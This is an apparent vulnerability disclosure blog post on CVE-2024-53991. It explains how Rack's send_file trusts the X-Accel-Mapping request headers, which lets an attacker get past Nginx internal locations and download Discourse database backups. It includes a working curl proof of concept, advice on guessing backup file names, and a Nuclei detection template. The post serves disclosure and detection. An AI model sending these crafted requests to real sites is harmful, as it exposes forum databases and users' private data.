8 min read
CVE-2024-53991 - Discourse Backup Disclosure: Rails send_file Quirk

Introduction
Modern web applications rely on middleware and web server configurations to efficiently handle file delivery while maintaining security. In the Ruby ecosystem, the send_file
method in Rack and Rails is a widely used mechanism that can offload file serving to web servers like Nginx and Apache, improving performance and scalability. However, when used in conjunction with Nginx’s internal directive, a feature designed to restrict access to sensitive resources, unexpected security flaws can emerge.
In this blog, we explore a subtle yet impactful interaction between Rack/Rails and Nginx that can inadvertently expose restricted endpoints. Specifically, we examine how the send_file
method, when paired with certain Nginx configurations, can bypass access controls under specific conditions, turning a security feature into a potential attack vector.
To highlight the real-world implications, we analyze Discourse, a popular Rails-based forum platform. We demonstrate how predictable backup file naming patterns, combined with this send_file
behavior and a particular Nginx setup, can unintentionally expose sensitive data—such as Discourse database backups—posing a serious risk to affected deployments. This vulnerability has been assigned CVE-2024-53991.
What is X-Accel-Redirect in Nginx?
The X-Accel-Redirect
header in Nginx enables controlled access to internal resources by leveraging specially designated location blocks. These location blocks are marked with the internal directive, which restricts them from being directly accessed by external clients.
The internal directive of Nginx is used to specify that a particular location block should only process requests generated by Nginx itself. This does not mean requests originating from localhost or specific IP addresses—it specifically refers to requests initiated internally by Nginx as a result of its processing logic.
Only requests generated by Nginx during its handling of another request (e.g., due to request rewrite or via the X-Accel-Redirect header) can access the internal location.
How Does X-Accel-Redirect Work?
The X-Accel-Redirect
header is a mechanism for Nginx to route an incoming request to an internal location block. When Nginx encounters this header in a response from an upstream server (e.g., a web application or backend), it interprets the header’s value as the new URI and internally redirects the request to that URI. If the target URI corresponds to an internal location, the resources in that location can now be served.
An example configuration would be:
`
1location ~ /files/(.*) {
2 internal;
3 alias /var/www/$1;
4}
Example flow of requests:
- A client sends a request to an external endpoint, for example,
/download
. - The
/download
endpoint is handled by an upstream server (e.g., a backend application) that processes the request and returns a response with the header:X-Accel-Redirect: /files/example.txt
- Nginx sees the X-Accel-Redirect header and internally routes the request to
/files/example.txt
. - The location
~ /files/(.*)
block is triggered, allowing Nginx to serve the file/var/www/example.txt
from the filesystem.
When Rack Sends, Sh*t Breaks:
We were reviewing web frameworks that utilize X-Sendfile
or X-Accel-Redirect
headers in their file-serving functions to enable optimized file handling through web servers like Nginx or Apache.
One of the frameworks we analyzed was Rack, specifically its send_file
function, which incorporates these headers for efficient file delivery. Since Rack middleware is a core component of Rails, we also examined its implementation in detail. During this review, we identified a notable issue—or perhaps a quirk.
Here's how the implementaiton for the same looks like:
ruby
1class Sendfile
2 def initialize(app, variation = nil, mappings = [])
3 ...
4 @mappings = mappings.map do |internal, external|
5 [/^#{internal}/i, external]
6 end
7 end
8
9 def call(env)
10 _, headers, body = response = @app.call(env)
11
12 if body.respond_to?(:to_path)
13 case type = variation(env) # value of x-sendfile-type header
14 when /x-accel-redirect/i # [1]
15 path = ::File.expand_path(body.to_path) // expand the full path to the file.
16 if url = map_accel_path(env, path)
17 headers[CONTENT_LENGTH] = '0'
18 # '?' must be percent-encoded because it is not query string but a part of path
19 headers[type.downcase] = ::Rack::Utils.escape_path(url).gsub('?', '%3F') # [3]
20 obody = body
21 response[2] = Rack::BodyProxy.new([]) do
22 obody.close if obody.respond_to?(:close)
23 end
24 else
25 env[RACK_ERRORS].puts "x-accel-mapping header missing"
26 end
27 ...
28 when '', nil
29 else
30 env[RACK_ERRORS].puts "Unknown x-sendfile variation: '#{type}'.\n"
31 end
32 end
33 response
34 end
35
36 private
37 def variation(env)
38 @variation ||
39 env['sendfile.type'] ||
40 env['HTTP_X_SENDFILE_TYPE']
41 end
42end
Rack handles this by inspecting the value of the X-Sendfile-Type
request header. At [1] in the implementation, if the header’s value is x-accel-redirect
, the code logic proceeds to retrieve the full path to the file on the filesystem using body.to_path
. It then calls the map_accel_path
method to translate this filesystem path into an URL suitable for use with Nginx.
ruby
1def map_accel_path(env, path)
2 if mapping = @mappings.find { |internal, _| internal =~ path }
3 path.sub(*mapping)
4 elsif mapping = env['HTTP_X_ACCEL_MAPPING']
5 mapping.split(',').map(&:strip).each do |m|
6 internal, external = m.split('=', 2).map(&:strip)
7 new_path = path.sub(/^#{internal}/i, external) # [2]
8 return new_path unless path == new_path
9 end
10 path
11 end
12end
In the map_accel_path
method, Rack processes another request header, X-Accel-Mapping. The value of this header is split at the =
character, where the first part becomes the internal filesystem path and the second part becomes the external path. Rack then uses a regular expression substitution at [2] to replace the internal portion of the file’s full filesystem path with the corresponding external nginx location path.
The newly substituted path (or URL) is then used to set the X-Accel-Redirect response header. This header is intercepted by Nginx, which makes an internal request to the mapped URL and serves the corresponding file to the client, bypassing direct access to the original file path on the server.
Example:
If the following header is present, x-accel-mapping: .*=/secret
, full path of the request file matched by /^.*/
will be replaced with /secret
at line [2]. Then, at line [3], the value of x-accel-redirect
response header is set to this new value /secret
. Once, this is done, Nginx will automatically make an internal request to /secret
endpoint and will respond back.
Therefore, the pre-requisite for this misconfiguration to be exploitable would be:
- Rails'
send_file
or Rack'sRack::Sendfile
method is used. - Nginx configuration with
internal
directive that leaks something sensitive.
Discourse: Backup File Disclosure Via Default Nginx Configuration
Discourse, a popular Ruby on Rails-based community discussion platform, uses the send_file method in various parts of its application to serve files efficiently. During our review, we explored potential unauthenticated routes utilizing send_file, as well as the default Nginx configuration provided by Discourse, to identify any potential misconfigurations.
While analyzing the source code, we found that the StylesheetsController uses the send_file method to serve CSS files. At first glance, this controller appeared interesting because it skips several authentication checks:
ruby
1class StylesheetsController < ApplicationController
2 skip_before_action :preload_json,
3 :redirect_to_login_if_required,
4 :redirect_to_profile_if_required,
5 :check_xhr,
6 :verify_authenticity_token,
7 only: %i[show show_source_map color_scheme]
8
9 before_action :apply_cdn_headers, only: %i[show show_source_map color_scheme]
10
11 ...
12
13 def show
14 is_asset_path
15
16 show_resource # [4]
17 end
18
19 protected
20
21 def show_resource(source_map: false)
22 ...
23 send_file(location, disposition: :inline) # [5]
24 end
25end
As seen above, the show action skips authentication checks, allowing unauthenticated users to access it. The show_resource method ultimately calls send_file at [5] to serve files, making this a potential candidate for file disclosure.
We reviewed Discourse’s default Nginx configuration to identify any sensitive or interesting configurations. Discourse places its backups directory within the Rails public directory, which is globally accessible. This directory holds Discourse’s database backups and is highly sensitive. However, the default Nginx configuration prevents direct access to the backups using the internal directive, which restricts the /backups/ route:
nginx
1# Path to Discourse's public directory
2set $public /var/www/discourse/public;
3
4# Prevent direct download of backups
5location ^~ /backups/ {
6 internal;
7}
8
9# Another internal route mapped to the public directory
10location /downloads/ {
11 internal;
12 alias $public/;
13}
- The /backups/ route is protected by the internal directive, ensuring that backup files cannot be accessed directly by external users.
- The /downloads/ route, which maps to the public directory, is also marked as internal, further restricting access.
This satisfies the prerequisite for exploiting file disclosure: an Nginx configuration with internal directives protecting sensitive directories.
Exploiting Backup File Disclosure
While the Nginx configuration prevents direct access to backups, Discourse’s use of Rails’ send_file method for file-serving combined with predictable backup file naming conventions can still allow attackers to leak backup files. The second requirement for exploitation is the ability to bruteforce backup file names efficiently. Based on Discourse’s default behavior and naming patterns, backup file names can be derived using the following logic:
<site-name>-YYYY-MM-DD-HHMMSS-v<Migration_Stamp>.tar.gz
- Site Name: This can be obtained from the website’s title, call Rail's parameterize method on the string.
- Date of Backup (YYYY-MM-DD): Discourse by default creates backups every 7 days.
- Time of Backup (HHMMSS): Time is in a 24-hour format with a specific timestamp (e.g., 002005). This can also be bruteforced with approximately 86,400 combinations (total requests for a day).
- Migration Stamp (v<Migration_Stamp>): The migration stamp corresponds to the Git commit version and associated migration timestamp in the /db/migrate/ directory. Discourse publicly discloses the current Git commit hash on its homepage, which can be used to derive this value of the targeted discourse instance.
Proof of Concept:
curl -k -o db.tar.gz -H 'X-Sendfile-Type: X-Accel-Redirect' -H 'X-Accel-Mapping: .*=/downloads/backups/default/projectdiscovery-discourse-2024-11-15-002501-v20241112145744.tar.gz' -H 'Cache-Control: max-age=0' 'https://discourse.projectdiscovery.io/stylesheets/discourse-local-dates_2395204b3c92cea17bdcc4e554cc7d12e032b555.css?cb=1'
Nuclei Template
The Nuclei template used to detect this vulnerability is available on GitHub and the ProjectDiscovery Platform.
Platform URL: https://cloud.projectdiscovery.io/?template=CVE-2024-53991
GitHub PR: https://github.com/projectdiscovery/nuclei-templates/pull/11773
yaml
1id: CVE-2024-53991
2
3info:
4 name: Discourse Backup File Disclosure Via Default Nginx Configuration
5 author: iamnoooob,rootxharsh,pdresearch
6 severity: high
7 description: |
8 Discourse is an open source platform for community discussion. This vulnerability only impacts Discourse instances configured to use `FileStore--LocalStore` which means uploads and backups are stored locally on disk. If an attacker knows the name of the Discourse backup file, the attacker can trick nginx into sending the Discourse backup file with a well crafted request.
9 remediation: |
10 This issue is patched in the latest stable, beta and tests-passed versions of Discourse. Users are advised to upgrade. Users unable to upgrade can either 1. Download all local backups on to another storage device, disable the `enable_backups` site setting and delete all backups until the site has been upgraded to pull in the fix. Or 2. Change the `backup_location` site setting to `s3` so that backups are stored and downloaded directly from S3.
11 reference:
12 - https://projectdiscovery.io/blog/discourse-backup-disclosure-rails-send_file-quirk/
13 - https://github.com/discourse/discourse/security/advisories/GHSA-567m-82f6-56rv
14 classification:
15 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
16 cvss-score: 7.5
17 cve-id: CVE-2024-53991
18 cwe-id: CWE-200
19 epss-score: 0.00121
20 epss-percentile: 0.28736
21 metadata:
22 shodan-query: http.component:"Discourse"
23 tags: cve,cve2024,discourse,disclosure
24
25http:
26 - raw:
27 - |
28 GET / HTTP/1.1
29 Host: {{Hostname}}
30
31 extractors:
32 - type: regex
33 part: body
34 name: styles
35 group: 1
36 regex:
37 - 'href="(/stylesheets/discourse-.*?)"'
38 internal: true
39
40 - raw:
41 - |
42 GET {{styles}}&cachebuster={{randstr}} HTTP/1.1
43 Host: {{Hostname}}
44 X-Sendfile-Type: X-Accel-Redirect
45 X-Accel-Mapping: .*=/downloads/backups/default/
46
47 matchers:
48 - type: dsl
49 dsl:
50 - 'status_code == 403'
51 - 'contains(content_type, "text/html")'
52 - 'contains(response, "discourse")'
53 condition: and
Disclosure Timeline
Date | Event |
---|---|
17th November 2024 | ProjectDiscovery discovers the misconfiguration and responsibly reported it to the Discourse team. |
25th November 2024 | Discourse team triaged the report and acknowledged the issue. |
19th December 2024 | The vulnerability was marked as resolved by the Discourse team. |
20th March 2025 | After the standard 90-day disclosure period, the blog post with vulnerability details was publicly disclosed. |
Conclusion
This case study highlights how seemingly robust security mechanisms can introduce unintended vulnerabilities when their interactions are not fully understood. The combination of Rack’s send_file method and Nginx’s internal directive serves as a reminder that security is not just about enabling protective measures but ensuring they are configured correctly to prevent unintended access.
To help security teams identify and mitigate this issue in their Discourse deployment, we have created a Nuclei template that automates the detection of misconfigurations leading to file exposure. This template is also integrated into the ProjectDiscovery Cloud platform, enabling our customers to proactively scan for this vulnerability as part of their continuous security assessments.